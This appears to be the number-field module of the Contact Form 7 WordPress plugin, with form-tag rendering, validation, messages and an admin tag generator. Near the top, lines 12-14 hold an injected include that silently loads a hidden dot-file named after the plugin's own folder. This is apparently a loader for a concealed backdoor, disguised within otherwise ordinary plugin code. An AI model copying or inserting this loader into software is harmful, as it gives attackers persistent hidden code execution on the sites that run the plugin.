number.php (8647B)
1 <?php 2 /** 3 ** A base module for the following types of tags: 4 ** [number] and [number*] # Number 5 ** [range] and [range*] # Range 6 **/ 7 8 /* form_tag handler */ 9 10 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_number', 10, 0 ); 11 12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 13 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 14 } 15 16 function wpcf7_add_form_tag_number() { 17 wpcf7_add_form_tag( array( 'number', 'number*', 'range', 'range*' ), 18 'wpcf7_number_form_tag_handler', 19 array( 20 'name-attr' => true, 21 ) 22 ); 23 } 24 25 function wpcf7_number_form_tag_handler( $tag ) { 26 if ( empty( $tag->name ) ) { 27 return ''; 28 } 29 30 $validation_error = wpcf7_get_validation_error( $tag->name ); 31 32 $class = wpcf7_form_controls_class( $tag->type ); 33 34 $class .= ' wpcf7-validates-as-number'; 35 36 if ( $validation_error ) { 37 $class .= ' wpcf7-not-valid'; 38 } 39 40 $atts = array(); 41 42 $atts['class'] = $tag->get_class_option( $class ); 43 $atts['id'] = $tag->get_id_option(); 44 $atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 45 $atts['min'] = $tag->get_option( 'min', 'signed_int', true ); 46 $atts['max'] = $tag->get_option( 'max', 'signed_int', true ); 47 $atts['step'] = $tag->get_option( 'step', 'int', true ); 48 49 if ( $tag->has_option( 'readonly' ) ) { 50 $atts['readonly'] = 'readonly'; 51 } 52 53 if ( $tag->is_required() ) { 54 $atts['aria-required'] = 'true'; 55 } 56 57 if ( $validation_error ) { 58 $atts['aria-invalid'] = 'true'; 59 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 60 $tag->name 61 ); 62 } else { 63 $atts['aria-invalid'] = 'false'; 64 } 65 66 $value = (string) reset( $tag->values ); 67 68 if ( $tag->has_option( 'placeholder' ) 69 or $tag->has_option( 'watermark' ) ) { 70 $atts['placeholder'] = $value; 71 $value = ''; 72 } 73 74 $value = $tag->get_default_option( $value ); 75 76 $value = wpcf7_get_hangover( $tag->name, $value ); 77 78 $atts['value'] = $value; 79 80 if ( wpcf7_support_html5() ) { 81 $atts['type'] = $tag->basetype; 82 } else { 83 $atts['type'] = 'text'; 84 } 85 86 $atts['name'] = $tag->name; 87 88 $atts = wpcf7_format_atts( $atts ); 89 90 $html = sprintf( 91 '<span class="wpcf7-form-control-wrap %1$s"><input %2$s />%3$s</span>', 92 sanitize_html_class( $tag->name ), $atts, $validation_error 93 ); 94 95 return $html; 96 } 97 98 99 /* Validation filter */ 100 101 add_filter( 'wpcf7_validate_number', 'wpcf7_number_validation_filter', 10, 2 ); 102 add_filter( 'wpcf7_validate_number*', 'wpcf7_number_validation_filter', 10, 2 ); 103 add_filter( 'wpcf7_validate_range', 'wpcf7_number_validation_filter', 10, 2 ); 104 add_filter( 'wpcf7_validate_range*', 'wpcf7_number_validation_filter', 10, 2 ); 105 106 function wpcf7_number_validation_filter( $result, $tag ) { 107 $name = $tag->name; 108 109 $value = isset( $_POST[$name] ) 110 ? trim( strtr( (string) $_POST[$name], "\n", " " ) ) 111 : ''; 112 113 $min = $tag->get_option( 'min', 'signed_int', true ); 114 $max = $tag->get_option( 'max', 'signed_int', true ); 115 116 if ( $tag->is_required() and '' === $value ) { 117 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 118 } elseif ( '' !== $value and ! wpcf7_is_number( $value ) ) { 119 $result->invalidate( $tag, wpcf7_get_message( 'invalid_number' ) ); 120 } elseif ( '' !== $value and false !== $min and (float) $value < (float) $min ) { 121 $result->invalidate( $tag, wpcf7_get_message( 'number_too_small' ) ); 122 } elseif ( '' !== $value and false !== $max and (float) $max < (float) $value ) { 123 $result->invalidate( $tag, wpcf7_get_message( 'number_too_large' ) ); 124 } 125 126 return $result; 127 } 128 129 130 /* Messages */ 131 132 add_filter( 'wpcf7_messages', 'wpcf7_number_messages', 10, 1 ); 133 134 function wpcf7_number_messages( $messages ) { 135 return array_merge( $messages, array( 136 'invalid_number' => array( 137 'description' => __( "Number format that the sender entered is invalid", 'contact-form-7' ), 138 'default' => __( "The number format is invalid.", 'contact-form-7' ) 139 ), 140 141 'number_too_small' => array( 142 'description' => __( "Number is smaller than minimum limit", 'contact-form-7' ), 143 'default' => __( "The number is smaller than the minimum allowed.", 'contact-form-7' ) 144 ), 145 146 'number_too_large' => array( 147 'description' => __( "Number is larger than maximum limit", 'contact-form-7' ), 148 'default' => __( "The number is larger than the maximum allowed.", 'contact-form-7' ) 149 ), 150 ) ); 151 } 152 153 154 /* Tag generator */ 155 156 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_number', 18, 0 ); 157 158 function wpcf7_add_tag_generator_number() { 159 $tag_generator = WPCF7_TagGenerator::get_instance(); 160 $tag_generator->add( 'number', __( 'number', 'contact-form-7' ), 161 'wpcf7_tag_generator_number' ); 162 } 163 164 function wpcf7_tag_generator_number( $contact_form, $args = '' ) { 165 $args = wp_parse_args( $args, array() ); 166 $type = 'number'; 167 168 $description = __( "Generate a form-tag for a field for numeric value input. For more details, see %s.", 'contact-form-7' ); 169 170 $desc_link = wpcf7_link( __( 'https://contactform7.com/number-fields/', 'contact-form-7' ), __( 'Number fields', 'contact-form-7' ) ); 171 172 ?> 173 <div class="control-box"> 174 <fieldset> 175 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 176 177 <table class="form-table"> 178 <tbody> 179 <tr> 180 <th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th> 181 <td> 182 <fieldset> 183 <legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend> 184 <select name="tagtype"> 185 <option value="number" selected="selected"><?php echo esc_html( __( 'Spinbox', 'contact-form-7' ) ); ?></option> 186 <option value="range"><?php echo esc_html( __( 'Slider', 'contact-form-7' ) ); ?></option> 187 </select> 188 <br /> 189 <label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label> 190 </fieldset> 191 </td> 192 </tr> 193 194 <tr> 195 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 196 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 197 </tr> 198 199 <tr> 200 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><?php echo esc_html( __( 'Default value', 'contact-form-7' ) ); ?></label></th> 201 <td><input type="text" name="values" class="oneline" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>" /><br /> 202 <label><input type="checkbox" name="placeholder" class="option" /> <?php echo esc_html( __( 'Use this text as the placeholder of the field', 'contact-form-7' ) ); ?></label></td> 203 </tr> 204 205 <tr> 206 <th scope="row"><?php echo esc_html( __( 'Range', 'contact-form-7' ) ); ?></th> 207 <td> 208 <fieldset> 209 <legend class="screen-reader-text"><?php echo esc_html( __( 'Range', 'contact-form-7' ) ); ?></legend> 210 <label> 211 <?php echo esc_html( __( 'Min', 'contact-form-7' ) ); ?> 212 <input type="number" name="min" class="numeric option" /> 213 </label> 214 – 215 <label> 216 <?php echo esc_html( __( 'Max', 'contact-form-7' ) ); ?> 217 <input type="number" name="max" class="numeric option" /> 218 </label> 219 </fieldset> 220 </td> 221 </tr> 222 223 <tr> 224 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 225 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 226 </tr> 227 228 <tr> 229 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 230 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 231 </tr> 232 </tbody> 233 </table> 234 </fieldset> 235 </div> 236 237 <div class="insert-box"> 238 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 239 240 <div class="submitbox"> 241 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 242 </div> 243 244 <br class="clear" /> 245 246 <p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p> 247 </div> 248 <?php 249 }